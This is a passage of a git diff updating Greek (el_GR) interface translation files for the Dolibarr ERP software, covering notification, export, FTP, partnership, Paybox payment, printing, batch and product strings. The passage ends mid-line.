EMailTextInterventionValidated=Η παρέμβαση %s έχει επικυρωθεί. EMailTextInvoiceValidated=Το τιμολόγιο %s έχει επικυρωθεί. EMailTextInvoicePayed=Το τιμολόγιο %s έχει καταβληθεί. -EMailTextProposalValidated=Η πρόταση %s έχει επικυρωθεί. -EMailTextProposalClosedSigned=Η πρόταση %s έχει κλείσει υπογεγραμμένη. +EMailTextProposalValidated=Η προσφορά %s έχει επικυρωθεί. +EMailTextProposalClosedSigned=Η προσφορά %s έχει κλείσει υπογεγραμμένη. +EMailTextProposalClosedSignedWeb=Η προσφορά %s έχει κλείσει υπογράφηκε στη σελίδα του portal. +EMailTextProposalClosedRefused=Η προσφορά %s απορρίφθηκε και έκλεισε. +EMailTextProposalClosedRefusedWeb=Η προσφορά %s έχει κλείσει απορρίφθηκε στη σελίδα του portal. EMailTextOrderValidated=Η παραγγελία %s έχει επικυρωθεί. EMailTextOrderApproved=Η παραγγελία %s έχει εγκριθεί. EMailTextOrderValidatedBy=Η παραγγελία %s έχει καταγραφεί από τον %s. @@ -222,7 +228,7 @@ EMailTextExpenseReportApproved=Η αναφορά εξόδων %s έχει εγκ EMailTextHolidayValidated=Το αίτημα άδειας %s έχει επικυρωθεί. EMailTextHolidayApproved=Το αίτημα άδειας %s έχει εγκριθεί. EMailTextActionAdded=Η ενέργεια %s προστέθηκε στην Ατζέντα. -ImportedWithSet=Η εισαγωγή των δεδομένων που +ImportedWithSet=Δεδομένα εισαγωγής DolibarrNotification=Αυτόματη ειδοποίηση ResizeDesc=Εισαγάγετε νέο πλάτος Ή νέο ύψος. Η αναλογία θα διατηρηθεί κατά την αλλαγή μεγέθους... NewLength=Νέο πλάτος @@ -232,8 +238,8 @@ DefineNewAreaToPick=Ορίστε νέα περιοχή στην εικόνα γ CurrentInformationOnImage=Αυτό το εργαλείο σχεδιάστηκε για να σας βοηθήσει να αλλάξετε το μέγεθος ή να περικόψετε μια εικόνα. Αυτές είναι οι πληροφορίες για την τρέχουσα επεξεργασμένη εικόνα ImageEditor=Επεξεργαστής εικόνας YouReceiveMailBecauseOfNotification=Λαμβάνετε αυτό το μήνυμα επειδή το email σας έχει προστεθεί στη λίστα επαφών που πρέπει να ενημερώνεται για συγκεκριμένα συμβάντα στο λογισμικό %s της %s. -YouReceiveMailBecauseOfNotification2=Η εκδήλωση αυτή είναι η εξής: -ThisIsListOfModules=Αυτή είναι μια λίστα των modules που έχουν επιλέξει αυτό το προφίλ demo (μόνο οι περισσότερες κοινές ενότητες είναι ορατά σε αυτό το demo). Επεξεργασία αυτό να έχει μια πιο εξατομικευμένη επίδειξη και κάντε κλικ στο "Start". +YouReceiveMailBecauseOfNotification2=Αυτό ειναι το ακόλουθο συμβάν: +ThisIsListOfModules=Αυτή είναι μια λίστα των ενοτήτων που έχουν προεπιλεγεί για αυτό το προφίλ demo (μόνο οι βασικές ενότητες είναι ενεργές σε αυτό το demo). Επεξεργαστείτε αυτό για να έχετε μια πιο εξατομικευμένη επίδειξη και κάντε κλικ στο "Έναρξη" UseAdvancedPerms=Χρησιμοποιήστε τα προηγμένα δικαιώματα ορισμένων ενοτήτων FileFormat=Μορφή αρχείου SelectAColor=Επιλέξτε ένα χρώμα @@ -248,7 +254,7 @@ RequestToResetPasswordReceived=Έχει ληφθεί ένα αίτημα για NewKeyIs=Αυτό είναι το νέο σας κλειδί για να συνδεθείτε NewKeyWillBe=Το νέο σας κλειδί για να συνδεθείτε με το λογισμικό είναι ClickHereToGoTo=Κάντε κλικ εδώ για να μεταβείτε στο %s -YouMustClickToChange=Θα πρέπει πρώτα να κάνετε κλικ στον παρακάτω σύνδεσμο για να επικυρώσει την αλλαγή του κωδικού πρόσβασης +YouMustClickToChange=Θα πρέπει πρώτα να κάνετε κλικ στον παρακάτω σύνδεσμο για να επικυρώσετε την αλλαγή του κωδικού πρόσβασης ConfirmPasswordChange=Επιβεβαιώστε την αλλαγή κωδικού πρόσβασης ForgetIfNothing=Αν δεν ζητήσατε αυτή την αλλαγή, απλά ξεχάστε αυτό το email. Τα διαπιστευτήριά σας παραμένουν ασφαλή. IfAmountHigherThan=Εάν το ποσό υπερβαίνει %s @@ -265,36 +271,36 @@ PasswordNeedNoXConsecutiveChars=Ο κωδικός πρόσβασης δεν πρ YourPasswordHasBeenReset=Ο κωδικός πρόσβασης σας επαναφέρθηκε με επιτυχία ApplicantIpAddress=Διεύθυνση IP του αιτούντος SMSSentTo=Το SMS εστάλη στο %s -MissingIds=Λείπει IDs -ThirdPartyCreatedByEmailCollector=Το τρίτο μέρος δημιουργήθηκε από τον συλλέκτη ηλεκτρονικού ταχυδρομείου από το MSGID e-mail %s -ContactCreatedByEmailCollector=Επαφή / διεύθυνση που δημιουργήθηκε από τον συλλέκτη ηλεκτρονικού ταχυδρομείου από το ηλεκτρονικό ταχυδρομείο MSGID %s -ProjectCreatedByEmailCollector=Έργο που δημιουργήθηκε από τον συλλέκτη ηλεκτρονικού ταχυδρομείου από το ηλεκτρονικό ταχυδρομείο MSGID %s -TicketCreatedByEmailCollector=Εισιτήριο που δημιουργήθηκε από τον συλλέκτη ηλεκτρονικού ταχυδρομείου από το ηλεκτρονικό ταχυδρομείο MSGID %s +MissingIds=Χαμένα αναγνωριστικά +ThirdPartyCreatedByEmailCollector=Τρίτο μέρος που δημιουργήθηκε από συλλέκτη email από email MSGID %s +ContactCreatedByEmailCollector=Επαφή/διεύθυνση που δημιουργήθηκε από συλλέκτη email από email MSGID %s +ProjectCreatedByEmailCollector=Έργο που δημιουργήθηκε από συλλέκτη email από email MSGID %s +TicketCreatedByEmailCollector=Ticket που δημιουργήθηκε από τον συλλέκτη ηλεκτρονικού ταχυδρομείου από το ηλεκτρονικό ταχυδρομείο MSGID %s OpeningHoursFormatDesc=Χρησιμοποιήστε το "-" για να διαχωρίσετε τις ώρες ανοίγματος και κλεισίματος.
      Χρησιμοποιήστε "κενό" για να εισάγετε διαφορετικές περιοχές.
      Παράδειγμα: 8-12 14-18 SuffixSessionName=Κατάληξη για το όνομα της συνεδρίας LoginWith=Συνδεθείτε με %s ##### Export ##### -ExportsArea=Exports area +ExportsArea=Τομέας εξαγωγών AvailableFormats=Διαθέσιμες μορφές -LibraryUsed=Library used +LibraryUsed=Library που χρησιμοποιήθηκε LibraryVersion=Έκδοση βιβλιοθήκης ExportableDatas=Εξαγώγιμα δεδομένα -NoExportableData=No exportable data (no modules with exportable data loaded, or missing permissions) +NoExportableData=Δεν υπάρχουν εξαγώγιμα δεδομένα (δεν υπάρχουν ενότητες με φορτωμένα εξαγώγιμα δεδομένα ή χωρίς δικαιώματα) ##### External sites ##### -WebsiteSetup=Εγκατάσταση δικτυακού τόπου ενότητας +WebsiteSetup=Ρύθμιση της ενότητας Ιστοσελίδων WEBSITE_PAGEURL=Σύνδεσμος URL της σελίδας WEBSITE_TITLE=Τίτλος WEBSITE_DESCRIPTION=Περιγραφή WEBSITE_IMAGE=Εικόνα -WEBSITE_IMAGEDesc=Σχετική διαδρομή του μέσου εικόνας. Μπορείτε να το κρατήσετε κενό καθώς σπάνια χρησιμοποιείται (μπορεί να χρησιμοποιηθεί από δυναμικό περιεχόμενο για να εμφανιστεί μια μικρογραφία σε μια λίστα αναρτήσεων ιστολογίου). Χρησιμοποιήστε το __WEBSITE_KEY__ στη διαδρομή εάν η διαδρομή εξαρτάται από το όνομα του ιστότοπου (για παράδειγμα: image / __ WEBSITE_KEY __ / stories / myimage.png). +WEBSITE_IMAGEDesc=Σχετική διαδρομή του μέσου εικόνας. Μπορείτε να το αφήσετε άδειο καθώς σπάνια χρησιμοποιείται (μπορεί να χρησιμοποιηθεί από δυναμικό περιεχόμενο για να εμφανιστεί μια μικρογραφία σε μια λίστα αναρτήσεων ιστολογίου). Χρησιμοποιήστε __WEBSITE_KEY__ στη διαδρομή εάν η διαδρομή εξαρτάται από το όνομα ιστότοπου (για παράδειγμα: image/__WEBSITE_KEY__/stories/myimage.png). WEBSITE_KEYWORDS=Λέξεις κλειδιά LinesToImport=Γραμμές για εισαγωγή MemoryUsage=Χρήση μνήμης RequestDuration=Διάρκεια αίτησης ProductsPerPopularity=Προϊόντα/Υπηρεσίες κατά δημοτικότητα -PopuProp=Προϊόντα / Υπηρεσίες κατά δημοτικότητα στις Προτάσεις +PopuProp=Προϊόντα/Υπηρεσίες κατά δημοτικότητα στις Προσφορές PopuCom=Προϊόντα / Υπηρεσίες κατά δημοτικότητα στις παραγγελίες ProductStatistics=Στατιστικά Προϊόντων / Υπηρεσιών NbOfQtyInOrders=Ποσότητα σε παραγγελίες @@ -311,17 +317,23 @@ ExternalSiteURL=Διεύθυνση URL εξωτερικού ιστότοπου ExternalSiteModuleNotComplete=Η ενότητα Εξωτερικός Ιστότοπος δεν έχει ρυθμιστεί σωστά. ExampleMyMenuEntry=Το μενού μου -# FTP -FTPClientSetup=Ρύθμιση μονάδας FTP ή SFTP Client -NewFTPClient=Ρύθμιση νέας σύνδεσης FTP/FTPS -FTPArea=Περιοχή FTP/FTPS +# ftp +FTPClientSetup=Ρύθμιση ενότητας FTP ή SFTP Client +NewFTPClient=Ρύθμιση νέας σύνδεσης FTP/SFTP +FTPArea=Τομεας FTP/SFTP FTPAreaDesc=Αυτή η οθόνη εμφανίζει μια προβολή ενός διακομιστή FTP ή SFTP. -SetupOfFTPClientModuleNotComplete=Η εγκατάσταση της μονάδας πελάτη FTP ή SFTP φαίνεται να είναι ελλιπής +SetupOfFTPClientModuleNotComplete=Η εγκατάσταση της ενότητας πελάτη FTP ή SFTP φαίνεται να είναι ελλιπής FTPFeatureNotSupportedByYourPHP=Η PHP σας δεν υποστηρίζει λειτουργίες FTP ή SFTP FailedToConnectToFTPServer=Απέτυχε η σύνδεση με τον διακομιστή (διακομιστής %s, θύρα %s) -FailedToConnectToFTPServerWithCredentials=Απέτυχε η σύνδεση στο διακομιστή με καθορισμένη σύνδεση/κωδικό πρόσβασης +FailedToConnectToFTPServerWithCredentials=Απέτυχε η σύνδεση στο διακομιστή με καθορισμένο όνομα χρήστη/κωδικό πρόσβασης FTPFailedToRemoveFile=Αποτυχία διαγραφής αρχείου%s. FTPFailedToRemoveDir=Αποτυχία κατάργησης του καταλόγου %s : ελέγξτε τα δικαιώματα και ότι ο κατάλογος είναι κενός. -FTPPassiveMode=Passive mode +FTPPassiveMode=Παθητική λειτουργία ChooseAFTPEntryIntoMenu=Επιλέξτε μια τοποθεσία FTP/SFTP από το μενού... FailedToGetFile=Αποτυχία λήψης αρχείων %s +ErrorFTPNodisconnect=Σφάλμα αποσύνδεσης διακομιστή FTP/SFTP +FileWasUpload=Το αρχείο %s μεταφορτώθηκε +FTPFailedToUploadFile=Απέτυχε η μεταφόρτωση του αρχείου %s . +AddFolder=Δημιουργια φακέλου +FileWasCreateFolder=Ο φάκελος %s έχει δημιουργηθεί +FTPFailedToCreateFolder=Απέτυχε η δημιουργία του φακέλου %s . diff --git a/htdocs/langs/el_GR/partnership.lang b/htdocs/langs/el_GR/partnership.lang index 305cba8f54b..38542c95eeb 100644 --- a/htdocs/langs/el_GR/partnership.lang +++ b/htdocs/langs/el_GR/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Διαχείριση συνεργασιών PartnershipDescription=Ενότητα Διαχείριση Συνεργασιών PartnershipDescriptionLong= Ενότητα Διαχείριση Συνεργασιών Partnership=Συνεργασία +Partnerships=Συνεργασίες AddPartnership=Προσθήκη συνεργασίας CancelPartnershipForExpiredMembers=Συνεργασία: Ακύρωση συνεργασίας μελών με συνδρομές που έχουν λήξει PartnershipCheckBacklink=Συνεργασία: Ελέγξτε την παραπομπή backlink @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Συνεργασία: Ελέγξτε την παραπ # Menu # NewPartnership=Νέα Συνεργασία +NewPartnershipbyWeb=Το αίτημα συνεργασίας σας προστέθηκε με επιτυχία. Θα επικοινωνήσουμε μαζί σας σύντομα... ListOfPartnerships=Λίστα συνεργασιών # diff --git a/htdocs/langs/el_GR/paybox.lang b/htdocs/langs/el_GR/paybox.lang index 526e6f8aa95..3d34ad1474e 100644 --- a/htdocs/langs/el_GR/paybox.lang +++ b/htdocs/langs/el_GR/paybox.lang @@ -1,28 +1,28 @@ # Dolibarr language file - Source file is en_US - paybox -PayBoxSetup=Paybox μονάδα ρύθμισης -PayBoxDesc=Αυτή η ενότητα προσφέρει σελίδες που επιτρέπουν την πληρωμή στο Paybox από πελάτες. Αυτό μπορεί να χρησιμοποιηθεί για ελεύθερη πληρωμή ή για πληρωμή σε συγκεκριμένο αντικείμενο Dolibarr (τιμολόγιο, παραγγελία, ...) -FollowingUrlAreAvailableToMakePayments=Μετά από τις διευθύνσεις URL είναι διαθέσιμοι να προσφέρουν μια σελίδα σε έναν πελάτη να προβεί σε πληρωμή σε Dolibarr αντικείμενα -PaymentForm=Έντυπο πληρωμής -WelcomeOnPaymentPage=Καλώς ήλθατε στην ηλεκτρονική υπηρεσία πληρωμών μας -ThisScreenAllowsYouToPay=Αυτή η οθόνη σας επιτρέπει να κάνετε μια online πληρωμή %s. -ThisIsInformationOnPayment=Πρόκειται για πληροφορίες σχετικά με την πληρωμή να γίνει -ToComplete=Για να ολοκληρώσετε +PayBoxSetup=Ρύθμιση ενότητας PayBox +PayBoxDesc=Αυτή η ενότητα προσφέρει σελίδες που επιτρέπουν την πληρωμή στο Paybox από πελάτες. Αυτό μπορεί να χρησιμοποιηθεί για ελεύθερη πληρωμή ή για πληρωμή σε συγκεκριμένο αντικείμενο του Dolibarr (τιμολόγιο, παραγγελία, ...) +FollowingUrlAreAvailableToMakePayments=Οι ακόλουθες διευθύνσεις URL είναι διαθέσιμες για να προσφέρουν μια σελίδα σε έναν πελάτη για να πραγματοποιήσει μια πληρωμή σε αντικείμενα του Dolibarr +PaymentForm=Φόρμα πληρωμής +WelcomeOnPaymentPage= Καλώς ήλθατε στην υπηρεσία διαδικτυακών πληρωμών +ThisScreenAllowsYouToPay=Σε αυτή την οθόνη μπορείτε να κάνετε μια ηλεκτρονική πληρωμή στο %s. +ThisIsInformationOnPayment=Πληροφορίες σχετικά με την πληρωμή σας +ToComplete=Προς ολοκλήρωση YourEMail=E-mail για να λάβετε επιβεβαίωση της πληρωμής Creditor=Πιστωτής PaymentCode=Κωδικός Πληρωμής -PayBoxDoPayment=Πληρώστε με το Paybox -YouWillBeRedirectedOnPayBox=Θα μεταφερθείτε σε προστατευμένη σελίδα Paybox να εισάγετε τα στοιχεία της πιστωτικής σας κάρτας -Continue=Επόμενη -SetupPayBoxToHavePaymentCreatedAutomatically=Ρυθμίστε το Paybox με τη διεύθυνση url %s για να δημιουργήσετε αυτόματα πληρωμή όταν επικυρωθεί από το Paybox. -YourPaymentHasBeenRecorded=Η σελίδα αυτή επιβεβαιώνει ότι η πληρωμή σας έχει καταγραφεί. Σας ευχαριστώ. -YourPaymentHasNotBeenRecorded=Η πληρωμή σας ΔΕΝ έχει εγγραφεί και η συναλλαγή έχει ακυρωθεί. Σας ευχαριστώ. +PayBoxDoPayment=Πληρώστε με Paybox +YouWillBeRedirectedOnPayBox=Θα ανακατευθυνθείτε σε ασφαλή σελίδα του Paybox για να εισαγάγετε τα στοιχεία της πιστωτικής σας κάρτας +Continue=Επόμενο +SetupPayBoxToHavePaymentCreatedAutomatically=Ρυθμίστε το Paybox σας με τη διεύθυνση url %s για την αυτόματη δημιουργία πληρωμής όταν γίνεται επικύρωση από το Paybox. +YourPaymentHasBeenRecorded=Σελίδα επιβεβαίωσης καταγραφής της πληρωμής σας. Ευχαριστούμε. +YourPaymentHasNotBeenRecorded=Η πληρωμή σας ΔΕΝ έχει καταγραφεί και η συναλλαγή έχει ακυρωθεί. Ευχαριστούμε. AccountParameter=Παράμετροι λογαριασμού UsageParameter=Παράμετροι χρήσης InformationToFindParameters=Βοήθεια για να βρείτε %s τα στοιχεία του λογαριασμού σας -PAYBOX_CGI_URL_V2=Url της ενότητας Paybox CGI για την πληρωμή -CSSUrlForPaymentForm=Url CSS φύλλο στυλ για το έντυπο πληρωμής -NewPayboxPaymentReceived=Νέα πληρωμή Paybox που λήφθηκε -NewPayboxPaymentFailed=Νέα πληρωμή Paybox προσπάθησαν αλλά απέτυχαν +PAYBOX_CGI_URL_V2=Διεύθυνση Url της ενότητας Paybox CGI για την πληρωμή +CSSUrlForPaymentForm=URL CSS style sheet για φόρμα πληρωμής +NewPayboxPaymentReceived=Νέα πληρωμή Paybox ελήφθη +NewPayboxPaymentFailed=Η πληρωμή Paybox απέτυχε PAYBOX_PAYONLINE_SENDEMAIL=Ειδοποίηση ηλεκτρονικού ταχυδρομείου μετά από προσπάθεια πληρωμής (επιτυχία ή αποτυχία) PAYBOX_PBX_SITE=Τιμή για PBX SITE PAYBOX_PBX_RANG=Τιμή για PBX Rang diff --git a/htdocs/langs/el_GR/printing.lang b/htdocs/langs/el_GR/printing.lang index b9cc758e331..038c9679a2d 100644 --- a/htdocs/langs/el_GR/printing.lang +++ b/htdocs/langs/el_GR/printing.lang @@ -2,23 +2,23 @@ Module64000Name=Εκτύπωση με ένα κλικ Module64000Desc=Ενεργοποιήστε το Σύστημα Εκτύπωσης με ένα κλικ PrintingSetup=Ρύθμιση του Συστήματος Εκτύπωσης με ένα κλικ -PrintingDesc=Αυτή η μονάδα προσθέτει ένα κουμπί Εκτύπωσης σε διάφορες ενότητες για να επιτρέπει την απευθείας εκτύπωση εγγράφων σε έναν εκτυπωτή χωρίς να χρειάζεται να ανοίξετε το έγγραφο σε άλλη εφαρμογή. +PrintingDesc=Αυτή η ενότητα προσθέτει ένα κουμπί Εκτύπωσης σε διάφορες ενότητες για να επιτρέπει την απευθείας εκτύπωση εγγράφων σε έναν εκτυπωτή χωρίς να χρειάζεται να ανοίξετε το έγγραφο σε άλλη εφαρμογή. MenuDirectPrinting=Εργασίες Εκτύπωσης με ένα κλικ DirectPrint=Εκτύπωση με ένα κλικ PrintingDriverDesc=Διαμόρφωση μεταβλητών για τον οδηγό εκτύπωσης. ListDrivers=Λίστα οδηγών PrintTestDesc=Λίστα Εκτυπωτών. FileWasSentToPrinter=Το αρχείο %s στάλθηκε στον εκτυπωτή -ViaModule=μέσω της μονάδας -NoActivePrintingModuleFound=Δεν υπάρχει ενεργό πρόγραμμα οδήγησης για την εκτύπωση εγγράφου. Ελέγξτε τη ρύθμιση της μονάδας %s. +ViaModule=μέσω της ενότητας +NoActivePrintingModuleFound=Δεν υπάρχει ενεργός driver για την εκτύπωση εγγράφου. Ελέγξτε τη ρύθμιση της ενότητας %s. PleaseSelectaDriverfromList=Παρακαλώ επιλέξτε ένα πρόγραμμα οδήγησης από τη λίστα. -PleaseConfigureDriverfromList=Προσαρμόστε το επιλεγμένο πρόγραμμα οδήγησης από τη λίστα. +PleaseConfigureDriverfromList=Διαμορφώστε το επιλεγμένο πρόγραμμα οδήγησης από τη λίστα. SetupDriver=Ρυθμίσεις του προγράμματος οδήγησης TargetedPrinter=Στοχευμένη εκτύπωση UserConf=Ρύθμιση ανά χρήστη PRINTGCP_INFO=Ρύθμιση API Google OAuth PRINTGCP_AUTHLINK=Επικύρωση -PRINTGCP_TOKEN_ACCESS=Το Token OAuth του Google Cloud Print +PRINTGCP_TOKEN_ACCESS=Το token OAuth του Google Cloud Print PrintGCPDesc=Αυτό το πρόγραμμα οδήγησης επιτρέπει την απευθείας αποστολή εγγράφων σε εκτυπωτή χρησιμοποιώντας το Google Cloud Print. GCP_Name=Όνομα GCP_displayName=Εμφανιζόμενο όνομα @@ -46,8 +46,8 @@ IPP_Device=Συσκευή IPP_Media=Μέσα εκτύπωσης IPP_Supported=Τύπος των μέσων DirectPrintingJobsDesc=Αυτή η σελίδα παραθέτει τις εργασίες εκτύπωσης που βρέθηκαν για τους διαθέσιμους εκτυπωτές. -GoogleAuthNotConfigured=Το Google OAuth δεν έχει ρυθμιστεί. Ενεργοποιήστε την ενότητα OAuth και ορίστε ένα αναγνωριστικό / μυστικό Google. -GoogleAuthConfigured=Τα διαπιστευτήρια του Google OAuth βρέθηκαν στη ρύθμιση του module OAuth. +GoogleAuthNotConfigured=Το Google OAuth δεν έχει ρυθμιστεί. Ενεργοποιήστε την ενότητα OAuth και ορίστε ένα Google ID/Secret. +GoogleAuthConfigured=Τα διαπιστευτήρια του Google OAuth βρέθηκαν στη ρύθμιση της ενότητας OAuth. PrintingDriverDescprintgcp=Διαμόρφωση μεταβλητών οδηγών εκτύπωσης του Google Cloud Print. PrintingDriverDescprintipp=Διαμόρφωση μεταβλητών οδηγών εκτύπωσης Cups. PrintTestDescprintgcp=Λίστα εκτυπωτών με δυνατότητα Google Cloud Print. diff --git a/htdocs/langs/el_GR/productbatch.lang b/htdocs/langs/el_GR/productbatch.lang index 12e3ec0401b..4f6858b46d6 100644 --- a/htdocs/langs/el_GR/productbatch.lang +++ b/htdocs/langs/el_GR/productbatch.lang @@ -17,8 +17,9 @@ printBatch=Παρτίδα/Σειριακός αριθμός: %s printEatby=Λήξη ανάλωσης: %s printSellby=Πώληση έως: %s printQty=Ποσότητα: %d +printPlannedWarehouse=Αποθήκη: %s AddDispatchBatchLine=Προσθέστε μια γραμμή για την αποστολή παρτίδας -WhenProductBatchModuleOnOptionAreForced=Όταν η επιλογή παρτίδας / σειριακού αριθμού είναι ενεργοποιημένη, στην αυτόματη μείωση των αποθεμάτων είναι αναγκαστικά επιλεγμένη η «Μείωση πραγματικών αποθεμάτων κατά την επικύρωση αποστολής» και στην αυτόματη λειτουργία αύξησης είναι αναγκαστικά επιλεγμένη η «Αύξηση των πραγματικών αποθεμάτων κατά τη χειροκίνητη αποστολή σε αποθήκες» και δεν μπορεί να γίνει επεξεργασία. Οι άλλες επιλογές μπορούν να οριστούν όπως θέλετε. +WhenProductBatchModuleOnOptionAreForced=Όταν η ενότητα παρτίδας / σειριακού αριθμού είναι ενεργοποιημένη, στην αυτόματη μείωση των αποθεμάτων είναι αναγκαστικά επιλεγμένη η «Μείωση πραγματικών αποθεμάτων κατά την επικύρωση αποστολής» και στην αυτόματη λειτουργία αύξησης είναι αναγκαστικά επιλεγμένη η «Αύξηση των πραγματικών αποθεμάτων κατά τη χειροκίνητη αποστολή σε αποθήκες» και δεν μπορεί να γίνει επεξεργασία. Οι άλλες επιλογές μπορούν να οριστούν όπως θέλετε. ProductDoesNotUseBatchSerial=Το προιόν δεν χρησιμοποιεί παρτίδα/σειριακό αριθμό ProductLotSetup=Ρύθμιση της ενότητας παρτίδα/σειριακός αριθμός ShowCurrentStockOfLot=Εμφάνιση παρόντος αποθέματος για ζεύγος προϊόν/παρτίδα @@ -33,7 +34,7 @@ BatchSerialNumberingModules=Κανόνας αρίθμησης για αυτόμ QtyToAddAfterBarcodeScan=Ποσότητα έως %s για κάθε σκαναρισμένο barcode/παρτίδα/σειριακό αριθμό LifeTime=Διάρκεια ζωής (σε ημέρες) EndOfLife=Τέλος κύκλου ζωής -ManufacturingDate=Ημερομηνία κατασκευής +ManufacturingDate=Ημερομηνία παραγωγής DestructionDate=Ημερομηνία καταστροφής FirstUseDate=Ημερομηνία πρώτης χρήσης QCFrequency=Συχνότητα ποιοτικού ελέγχου (σε ημέρες) diff --git a/htdocs/langs/el_GR/products.lang b/htdocs/langs/el_GR/products.lang index ac8eac8a0da..0fd7581f1b9 100644 --- a/htdocs/langs/el_GR/products.lang +++ b/htdocs/langs/el_GR/products.lang @@ -20,7 +20,7 @@ NewService=Νέα Υπηρεσία ProductVatMassChange=Καθολική ενημέρωση ΦΠΑ ProductVatMassChangeDesc=Αυτό το εργαλείο ενημερώνει τον συντελεστή ΦΠΑ που ορίζεται σε ΟΛΑ προϊόντα και υπηρεσίες! MassBarcodeInit=Μαζική ενεργοποίηση barcode -MassBarcodeInitDesc=Αυτή η σελίδα μπορεί να χρησιμοποιηθεί για την ενεργοποίηση ενός barcode σε αντικείμενα που δεν έχουν καθορισμένο barcode. Ελέγξτε νωρίτερα ότι έχει ολοκληρωθεί η ρύθμιση της μονάδας barcode . +MassBarcodeInitDesc=Αυτή η σελίδα μπορεί να χρησιμοποιηθεί για την ενεργοποίηση ενός barcode σε αντικείμενα που δεν έχουν καθορισμένο barcode. Ελέγξτε νωρίτερα ότι έχει ολοκληρωθεί η ρύθμιση της ενότητας barcode . ProductAccountancyBuyCode=Λογιστικός Κωδικός (Αγορά) ProductAccountancyBuyIntraCode=Λογιστικός κωδικός (ενδοκοινοτική αγορά) ProductAccountancyBuyExportCode=Λογιστικός κωδικός (εισαγωγή αγοράς) @@ -75,7 +75,7 @@ SellingPriceTTC=Τιμή Πώλησης (με Φ.Π.Α) SellingMinPriceTTC=Ελάχιστη τιμή πώλησης (με Φ.Π.Α) CostPriceDescription=Αυτό το πεδίο τιμών (εκτός Φ.Π.Α) μπορεί να χρησιμοποιηθεί για την αποθήκευση του μέσου ποσού που το προϊόν αυτό κοστίζει στην εταιρεία σας. Μπορεί να είναι οποιαδήποτε τιμή εσείς υπολογίζετε, για παράδειγμα, από τη μέση τιμή αγοράς συν το μέσο κόστος παραγωγής και διανομής. CostPriceUsage=Αυτή η τιμή θα μπορούσε να χρησιμοποιηθεί για υπολογισμό περιθωρίου. -ManufacturingPrice=Τιμή κατασκευής +ManufacturingPrice=Τιμή παραγωγής SoldAmount=Ποσό που πουλήθηκε PurchasedAmount=Ποσό που αγοράστηκε NewPrice=Νέα Τιμή @@ -103,18 +103,18 @@ BarCode=Barcode BarcodeType=Τύπος Barcode SetDefaultBarcodeType=Ορισμός τύπου barcode BarcodeValue=Τιμή Barcode -NoteNotVisibleOnBill=Σημείωση (μη ορατή σε τιμολόγια, προτάσεις...) +NoteNotVisibleOnBill=Σημείωση (μη ορατή σε τιμολόγια, προσφορές...) ServiceLimitedDuration=Εάν το προϊόν είναι μια υπηρεσία με περιορισμένη διάρκεια: -FillWithLastServiceDates=Συμπληρώστε με ημερομηνίες τελευταίας γραμμής σέρβις +FillWithLastServiceDates=Συμπληρώστε με ημερομηνίες τελευταίας γραμμής υπηρεσίας MultiPricesAbility=Πολλαπλά τμήματα τιμών ανά προϊόν / υπηρεσία (κάθε πελάτης βρίσκεται σε ένα τμήμα τιμών) MultiPricesNumPrices=Αριθμός διαφορετικής τιμής -DefaultPriceType=Προκαθορισμένη βάση τιμών (συμπεριλαμβανομένου φόρου) κατά την προσθήκη νέων τιμών πώλησης +DefaultPriceType=Προκαθορισμένη βάση τιμών (με ή χωρίς Φ.Π.Α.) κατά την προσθήκη νέων τιμών πώλησης AssociatedProductsAbility=Ενεργοποίηση κιτ (σετ διαφόρων προϊόντων) VariantsAbility=Ενεργοποίηση παραλλαγών (παραλλαγές προϊόντων, για παράδειγμα χρώμα, μέγεθος) AssociatedProducts=Κιτ AssociatedProductsNumber=Αριθμός προϊόντων που συνθέτουν αυτό το κιτ ParentProductsNumber=Αριθμός γονικής συσκευασίας προϊόντος -ParentProducts=Μητρικά προϊόντα +ParentProducts=Γονικά προϊόντα IfZeroItIsNotAVirtualProduct=Αν 0, αυτό το προϊόν δεν είναι κιτ IfZeroItIsNotUsedByVirtualProduct= \nΑν 0, αυτό το προϊόν δεν είναι μέρος κάποιου κιτ KeywordFilter=Φίλτρο λέξης-κλειδιού @@ -124,7 +124,7 @@ NoMatchFound=Δεν βρέθηκε κατάλληλη εγγραφή ListOfProductsServices=Κατάλογος προϊόντων / υπηρεσιών ProductAssociationList=Κατάλογος προϊόντων/υπηρεσιών που αποτελούν μέρος(η) αυτού του κιτ ProductParentList=Λίστα των κιτ με αυτό το προϊόν ως παρελκόμενο -ErrorAssociationIsFatherOfThis=Ένα από τα προϊόντα που θα επιλεγούν είναι γονέας με την τρέχουσα προϊόν +ErrorAssociationIsFatherOfThis=Ένα από τα επιλεγμένα προϊόντα είναι γονικό του τρέχοντος προϊόντος DeleteProduct=Διαγραφή προϊόντος/υπηρεσίας ConfirmDeleteProduct=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτό το προϊόν / υπηρεσία; ProductDeleted=Προϊόν / Υπηρεσία "%s"; διαγράφηκε από τη βάση δεδομένων. @@ -162,7 +162,7 @@ ConfirmCloneProduct=Είστε σίγουροι ότι θέλετε να κλω CloneContentProduct=Επαναχρησιμοποιήστε όλες τις κύριες πληροφορίες του προϊόντος/υπηρεσίας ClonePricesProduct=Επαναχρησιμοποιήστε τις τιμες CloneCategoriesProduct=Επαναχρησιμοποιήστε συνδεδεμένες ετικέτες/κατηγορίες -CloneCompositionProduct=Επαναχρησιμοποιήστε εικονικα προϊόντα/υπηρεσιες +CloneCompositionProduct=Αντιγραφή εικονικών προϊόντων/υπηρεσιών CloneCombinationsProduct=Επαναχρησιμοποιήστε τις παραλλαγές προϊόντων ProductIsUsed=Μεταχειρισμένο NewRefForClone=Αναφ. νέου προϊόντος/υπηρεσίας @@ -201,7 +201,7 @@ m3=m³ liter=Λίτρο l=Λίτρο unitP=Κομμάτι -unitSET=Σειρά +unitSET=Set unitS=Δευτερόλεπτο unitH=Ώρα unitD=Ημέρα @@ -246,8 +246,8 @@ PriceByQuantity=Διαφορετικές τιμές ανά ποσότητα DisablePriceByQty=Απενεργοποιήστε τις τιμές ανά ποσότητα PriceByQuantityRange=Εύρος ποσότητας MultipriceRules=Αυτόματες τιμές για το τμήμα -UseMultipriceRules=Χρησιμοποιήστε κανόνες για το τμήμα των τιμών (που ορίζονται στην εγκατάσταση μονάδας προϊόντος) για να υπολογίσετε αυτόματα τις τιμές όλων των άλλων τμημάτων σύμφωνα με τον πρώτο τομέα -PercentVariationOver=Παραλλαγή %% μέσω %s +UseMultipriceRules=Χρησιμοποιήστε κανόνες για το τμήμα των τιμών (που ορίζονται στην εγκατάσταση ενότητας προϊόντος) για να υπολογίσετε αυτόματα τις τιμές όλων των 